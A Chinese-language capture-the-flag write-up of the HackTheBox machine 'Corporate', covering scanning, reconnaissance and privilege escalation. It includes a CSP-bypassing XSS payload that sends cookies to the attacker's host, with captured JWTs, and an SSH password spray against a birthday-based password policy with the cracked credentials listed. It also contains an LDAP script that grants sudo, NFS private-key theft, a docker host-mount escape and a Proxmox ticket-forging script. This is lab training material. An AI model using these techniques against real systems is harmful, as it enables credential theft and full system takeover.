基本信息

端口扫描

只有一个80:

1
2
3
4
5
6
7
8
9
10
11
12
$ nmap -sC -sV 10.10.11.246
Starting Nmap 7.94 ( https://nmap.org ) at 2023-12-19 09:41 CST
Nmap scan report for 10.10.11.246
Host is up (0.22s latency).
Not shown: 999 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
80/tcp open http OpenResty web app server 1.21.4.3
|_http-title: Did not follow redirect to http://corporate.htb
|_http-server-header: openresty/1.21.4.3

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 233.45 seconds

80

需要加hosts:

1
10.10.11.246 corporate.htb

一个公司官网:

子域名扫描

扫描可以发现几个子域名,都同样加hosts:

1
2
3
4
5
6
7
8
9
10
ffuf -w ~/Tools/dict/SecLists/Discovery/DNS/subdomains-top1million-5000.txt -u "http://corporate.htb/" -H 'Host: FUZZ.corporate.htb'  -fs 175

[Status: 200, Size: 1725, Words: 383, Lines: 39, Duration: 221ms]
* FUZZ: support
[Status: 403, Size: 159, Words: 3, Lines: 8, Duration: 212ms]
* FUZZ: git
[Status: 302, Size: 38, Words: 4, Lines: 1, Duration: 313ms]
* FUZZ: sso
[Status: 302, Size: 32, Words: 4, Lines: 1, Duration: 240ms]
* FUZZ: people

support

在线support:

git

git是403(后面也完全没用到):

(预期路径会用到)

sso

单点登录系统,需要账号密码:

prople

people需要从SSO那里登录访问:

support

唯一有交互的的地方就是support这里,这种场景大概率XSS,但有CSP:

只能利用他本身的JS

XSS

直接任意不存在的路径,会发现直接显示在页面响应中:

另外可以发现我们修改analytics的v参数也能控制响应的js内容:

所以,我们可以直接利用这些点来构造XSS利用,例如这个payload:

1
<meta http-equiv="refresh" content="0;url=http://corporate.htb/<script+src='/vendor/analytics.min.js'></script><script+src='/assets/js/analytics.min.js?v=document.location=`http://10.10.16.2:7777/${document.cookie}`'</script>">

发给suooprt后,打到一个cookie:

后面需要至少两个不同用户的cookie,这里多执行几次XSS:

1
2
3
4
# Nora.Brekke@corporate.htb
::ffff:10.10.11.246 - - [25/Dec/2023 12:44:52] "GET /CorporateSSO=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NTA3NCwibmFtZSI6Ik5vcmEiLCJzdXJuYW1lIjoiQnJla2tlIiwiZW1haWwiOiJOb3JhLkJyZWtrZUBjb3Jwb3JhdGUuaHRiIiwicm9sZXMiOlsic2FsZXMiXSwicmVxdWlyZUN1cnJlbnRQYXNzd29yZCI6dHJ1ZSwiaWF0IjoxNzAzNDc5NDkwLCJleHAiOjE3MDM1NjU4OTB9.Cltxrowt5YXdXlpI_QuojZQn5c4T8tccsqnXYwlkYKA HTTP/1.1" 404 -
# Julio.Daniel@corporate.htb
::ffff:10.10.11.246 - - [25/Dec/2023 12:47:14] "GET /CorporateSSO=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6NTA3MSwibmFtZSI6Ikp1bGlvIiwic3VybmFtZSI6IkRhbmllbCIsImVtYWlsIjoiSnVsaW8uRGFuaWVsQGNvcnBvcmF0ZS5odGIiLCJyb2xlcyI6WyJzYWxlcyJdLCJyZXF1aXJlQ3VycmVudFBhc3N3b3JkIjp0cnVlLCJpYXQiOjE3MDM0Nzk2MjksImV4cCI6MTcwMzU2NjAyOX0.JBbnQR3d17XewbIExfAS09rtcn2OG3c2yytEnLx5M44 HTTP/1.1" 404 -

people

直接burp加条规则自动添加这个cookie,现在可以访问people:

chat

chat里可以得到很多人名,并且详细信息里有邮箱和生日(后面会用到这个):

遍历userid得到所有用户信息

sharing

sharing中可以发现另一个ovpn(模拟访问企业内网),和一个docx,docx就是一份项目建议书(docx都没什么用,只需要后面那一个pdf):

另外还有个share功能是分享文件给其他人,需要邮箱地址,这个就是前面chat里那些随便选一个,任意fileId都能够分享成功,但我们并没有对方用户:

所以前面的XSS那里需要获得两个用户的cookie

然后用第一个用户分享文件给第二个用户(小坑,邮箱地址需要小写,这个也可以从前面chat那里看到的信息知道),直接爆破fileId批量分享:

然后切换到第二个用户,查看sharing,得到pdf文件:

pdf文件得到密码策略:

1
Your default password has been set to “CorporateStarterDDMMYYYY” –

内网探测

连接得到的ovpn后现在是10.8.0.2,并且根据日志可以知道添加了两个网段的路由,10.8.0.0和10.9.0.0,探测这两个网段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
./fscan_darwin -h 10.8.0.0/24

(icmp) Target 10.8.0.1 is alive
(icmp) Target 10.8.0.2 is alive

10.8.0.1:80 open
10.8.0.1:3128 open
10.8.0.1:22 open
10.8.0.1:8006 open

./fscan_darwin -h 10.9.0.0/24

(icmp) Target 10.9.0.1 is alive
(icmp) Target 10.9.0.4 is alive

10.9.0.1:3128 open
10.9.0.1:22 open
10.9.0.4:22 open
10.9.0.1:80 open
10.9.0.1:8006 open

Nmap scan report for 10.9.0.1
Host is up (0.34s latency).
Not shown: 994 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
389/tcp open ldap
636/tcp open ldapssl
2049/tcp open nfs
3128/tcp open squid-http

Nmap scan report for 10.8.0.1
Host is up (0.35s latency).
Not shown: 994 closed tcp ports (conn-refused)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
389/tcp open ldap
636/tcp open ldapssl
2049/tcp open nfs
3128/tcp open squid-htt

ssh brute

然后根据用户名,生日,和密码策略,批量爆破,得到4个有效的:

1
2
3
4
nya.little@10.9.0.4 6/21/1965 CorporateStarter21061965
laurie.casper@10.9.0.4 11/18/1959 CorporateStarter18111959
elwin.jones@10.9.0.4 4/4/1987 CorporateStarter04041987
brody.wiza@10.9.0.4 7/14/1992 CorporateStarter14071992

users

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
abbigail.halvorson 9/17/1965
abigayle.kessler 10/21/1982
adrianna.stehr 6/8/1997
ally.effertz 8/2/1996
america.kirlin 12/29/1957
amie.torphy 3/26/1953
anastasia.nader 4/2/1957
annamarie.flatley 7/13/1994
antwan.bernhard 5/1/2002
arch.ryan 12/29/1960
august.gottlieb 9/14/1992
beth.feest 10/13/1996
bethel.hessel 12/29/1984
brody.wiza 7/14/1992
callie.goldner 5/14/1967
candido.hackett 2/2/1987
candido.mcdermott 3/30/1973
cathryn.weissnat 12/8/2002
cecelia.west 4/24/1986
christian.spencer 11/26/1966
dangelo.koch 11/23/1986
dayne.ruecker 5/5/1965
dessie.wolf 3/7/1999
dylan.schumm 2/26/1967
elwin.jones 4/4/1987
elwin.mills 11/14/1957
erna.lindgren 11/4/1951
esperanza.kihn 4/23/1956
estelle.padberg 10/24/1989
estrella.wisoky 2/4/1975
garland.denesik 1/12/1992
gayle.graham 10/20/1990
gideon.daugherty 2/19/1969
halle.keeling 2/22/1982
harley.ratke 5/24/1978
hector.king 10/30/1987
hermina.leuschke 7/15/1986
jacey.bernhard 5/10/1990
jammie.corkery 4/9/1997
josephine.hermann 5/20/1970
joy.gorczany 1/23/1992
julio.daniel 1/23/1987
justyn.beahan 6/19/1981
kacey.krajcik 1/25/1954
kasey.walsh 8/7/1999
katelin.keeling 4/25/1989
katelyn.swift 7/26/1954
kian.rodriguez 6/8/1957
larissa.wilkinson 5/10/1979
laurie.casper 11/18/1959
leanne.runolfsdottir 12/1/1963
lila.mcglynn 10/10/1982
mabel.koepp 2/23/1995
marcella.kihn 10/9/1959
margarette.baumbach 3/23/1999
marge.frami 6/10/2002
michale.jakubowski 7/25/1989
mohammed.feeney 11/4/1974
morris.lowe 6/18/1983
nora.brekke 1/18/1996
nya.little 6/21/1965
oleta.gutmann 11/11/1965
penelope.mcclure 3/8/1968
rachelle.langworth 6/19/1998
raphael.adams 1/28/2001
richie.cormier 1/23/1964
rosalee.schmitt 7/4/1990
ross.leffler 4/11/1963
sadie.greenfelder 1/21/1964
scarlett.herzog 6/22/1995
skye.will 10/16/1965
stephen.schamberger 3/27/1979
stevie.rosenbaum 10/20/1987
tanner.kuvalis 1/19/1969
uriel.hahn 12/25/1992
veda.kemmer 11/14/1980
ward.pfannerstill 5/4/1971
zaria.kozey 4/12/1970

user flag

4个用户都能得到user flag,但只有elwin.jones是it,其他三个都是consultant:

1
elwin.jones@10.9.0.4 4/4/1987 CorporateStarter04041987

sysadmin 非预期

(非预期方式)

这几个用户都是在/home/guest下,/home下还有个sysadmin,所以下一步看这部分

首先,因为elwin.jones是it,并且前面探测也可以看到ldap,那就可以尝试修改ldap属性,把自己加到sudoers中:

1
2
3
4
5
elwin.jones@corporate-workstation-04:~$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 corporate-workstation-04

10.9.0.1 ldap.corporate.htb corporate.htb

添加hosts后修改ldap:

1
2
3
10.9.0.1 ldap.corporate.htb

python3 ldap.py

(等几分钟重新登录,现在我们有sudo)

1
2
elwin.jones@corporate-workstation-04:~$ id
uid=5021(elwin.jones) gid=27(sudo) groups=27(sudo),503(it)

nfs

然后可以从10.9.0.4的root挂载10.8.0.1的nfs,(showmount可能会卡住,但可以尝试直接挂载根目录):

1
2
3
4
5
6
7
8
mkdir /tmp/miao
sudo mount.nfs 10.8.0.1:/ /tmp/miao/ -r -o nolock
ls /tmp/miao
/tmp/miao/home/guests

root@corporate-workstation-04:/tmp/miao/home/guests# ls | xargs id
uid=5015(amie.torphy) gid=5015(amie.torphy) groups=5015(amie.torphy),503(it),500(sysadmin)
uid=5007(stevie.rosenbaum) gid=5007(stevie.rosenbaum) groups=5007(stevie.rosenbaum),503(it),500(sysadmin)

其中同样是很多用户,但amie和stevie是sysadmin:

1
2
3
4
5
6
root@corporate-workstation-04:/tmp/miao/home/guests# id amie.torphy
uid=5015(amie.torphy) gid=5015(amie.torphy) groups=5015(amie.torphy),503(it),500(sysadmin)
# 需要对应用户才能查看目录下文件
root@corporate-workstation-04:/tmp/miao/home/guests# su amie.torphy
# 私钥
amie.torphy@corporate-workstation-04:/tmp/miao/home/guests/amie.torphy/.ssh$ cat id_rsa

sysadmin

然后使用amie的私钥,可以登录10.8.0.1,用户名根据10.9.0.4中信息是sysadmin,现在终于是宿主机了

1
ssh -i amie_id_rsa sysadmin@10.8.0.1

ldap.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#!/usr/bin/env python3

import ldap3

server = ldap3.Server("ldaps://ldap.corporate.htb", port=636, use_ssl=True)
connection = ldap3.Connection(
server,
"uid=elwin.jones,ou=Users,dc=corporate,dc=htb",
"CorporateStarter04041987",
auto_bind=True,
)
connection.modify(
"uid=elwin.jones,ou=Users,dc=corporate,dc=htb",
{"gidNumber": [(ldap3.MODIFY_REPLACE, ["27"])]},
)

预期方式

得到user之后,预期路径大概这样:

  • 基础枚举发现/var/run/docker.sock 需要engineer组

  • 以及发现autofs自动挂载每个用户的nfs

  • elwin.jones有一个活跃的 Firefox 配置文件

  • 发现Bitwarden密码管里扩展

  • places.sqlite 文件保存浏览器历史记录,它位于配置文件文件夹中

  • moz_places 有浏览器历史记录

  • 最后,开始使用 Bitwarden,然后在 Google 上搜索“对于 Bitwarden 密码来说 4 位数字就足够了”

  • Bitwarden PINs can be brute-forced - ambiso’s blog
    https://ambiso.github.io/bitwarden-pin/

  • 然后是对数据进行一些格式处理,破解出pin码

  • 然后自己使用的到的配置文件启动firefox,使用Bitwarden解密数据

  • 查看vault的到git的用户名、密码、TOTP 和 git.corporate.htb 的 UR

  • 通过vpn访问git 10.9.0.1

  • 同步时间,使用TOTP登录git

  • ourpeople中的到JWT secret

  • 然后给engineer组中用户生成JWT,访问web

  • 生成的JWT把requireCurrentPassword设置为false,修改密码不需要知道原密码

  • 修改后的密码可以ssh登录10.9.0.4,得到engineer

  • engineer可以和docker交互

  • 自己上传个docker镜像,加载

  • 然后docker run --rm -it -v /:/host alpine /bin/sh

  • 得到10.9.0.4的root

  • 然后看到sysadmin 中有两个用户

  • 切换到stevie.rosenbaum,看到config显示他们可以以 sysadmin 用户身份通过 SSH 访问 corporate.htb

  • ssh 10.9.0.1,/var/backups,后面就是proxmox部分了

  • HTB: Corporate | 0xdf hacks stuff
    https://0xdf.gitlab.io/2024/07/13/htb-corporate.html

proxmox

然后常规备份文件:

1
2
3
/var/backups/pve-host-2023_04_15-16_09_46.tar.gz

scp -i amie_id_rsa sysadmin@10.8.0.1:/var/backups/pve-host-2023_04_15-16_09_46.tar.gz .

其中得到一个authkey

1
etc/pve/priv/authkey.key

根据现有信息,也很容易搜到这个:

只是里面是PMG。自己简单改下就行了

1
python3 pve.py -k ./authkey.key -t https://10.8.0.1:8006/ -g root@pam

然后使用生成的cookie,可以登录8006的pve web面板:

(遇到的坑:burp自带的chromium不行,换firefox就正常)

pve.py

队友根据starlabs的代码改好的:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
#!/usr/bin/env python3

import argparse
import requests
import logging
import json
import socket
import ssl
import urllib.parse
import re
import time
import subprocess
import base64
import tarfile
import io
import tempfile
import urllib3

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

# PROXIES = {}
PROXIES = {'https': '127.0.0.1:8080'}
logging.basicConfig(format="%(asctime)s - %(message)s", level=logging.INFO)


def generate_ticket(authkey_bytes, username="root@pam", time_offset=-30):
timestamp = hex(int(time.time()) + time_offset)[2:].upper()
plaintext = f"PVE:{username}:{timestamp}"

authkey_path = tempfile.NamedTemporaryFile(delete=False)
logging.info(f"writing authkey to {authkey_path.name}")
authkey_path.write(authkey_bytes)
authkey_path.close()

txt_path = tempfile.NamedTemporaryFile(delete=False)
logging.info(f"writing plaintext to {txt_path.name}")
txt_path.write(plaintext.encode("utf-8"))
txt_path.close()

logging.info(f"calling openssl to sign")
sig = subprocess.check_output(
[
"openssl",
"dgst",
"-sha1",
"-sign",
authkey_path.name,
"-out",
"-",
txt_path.name,
]
)
sig = base64.b64encode(sig).decode("latin-1")

ret = f"{plaintext}::{sig}"
logging.info(f"generated ticket for {username}: {ret}")
logging.info(f"Login with cookie:\nPVEAuthCookie={ret}")

return ret


def _parse_args():
parser = argparse.ArgumentParser()
parser.add_argument("-k", metavar="key", required=True, help="The private key file")
parser.add_argument(
"-g", metavar="generate_for", default="root@pam", help="Default: root@pam"
)
parser.add_argument(
"-t",
metavar="target_url",
help="Please keep the trailing slash, example: https://10.8.0.1:8006/",
required=True,
)
return parser.parse_args()


if __name__ == "__main__":
arg = _parse_args()
authkey_bytes = open(arg.k, "rb").read()
new_ticket = generate_ticket(authkey_bytes, username=arg.g)

logging.info("veryfing ticket")
req = requests.get(
arg.t,
headers={"Cookie": f"PVEAuthCookie={new_ticket}"},
proxies=PROXIES,
verify=False,
)
print(req.text)
res = req.content.decode("utf-8")
verify_re = re.compile("UserName: '(.*?)',\n\s+CSRFPreventionToken:")
verify_result = verify_re.findall(res)
logging.info(f"current user: {verify_result[0]}")
logging.info(f"Cookie: PVEAuthCookie={urllib.parse.quote_plus(new_ticket)}")

root flag

然后pve自带的shell,得到root

(0xdf是修改了root密码后ssh登录)

shadow

每次打开shell得到的root hash都是不同的

1
sysadmin:$y$j9T$E2kQZ9TL6csvgTjXCvlau/$r4Y9/c5O8UQcdCVNKdPXn69PhHC35T59bpfjiUKEkoD:19462:0:99999:7:::

参考资料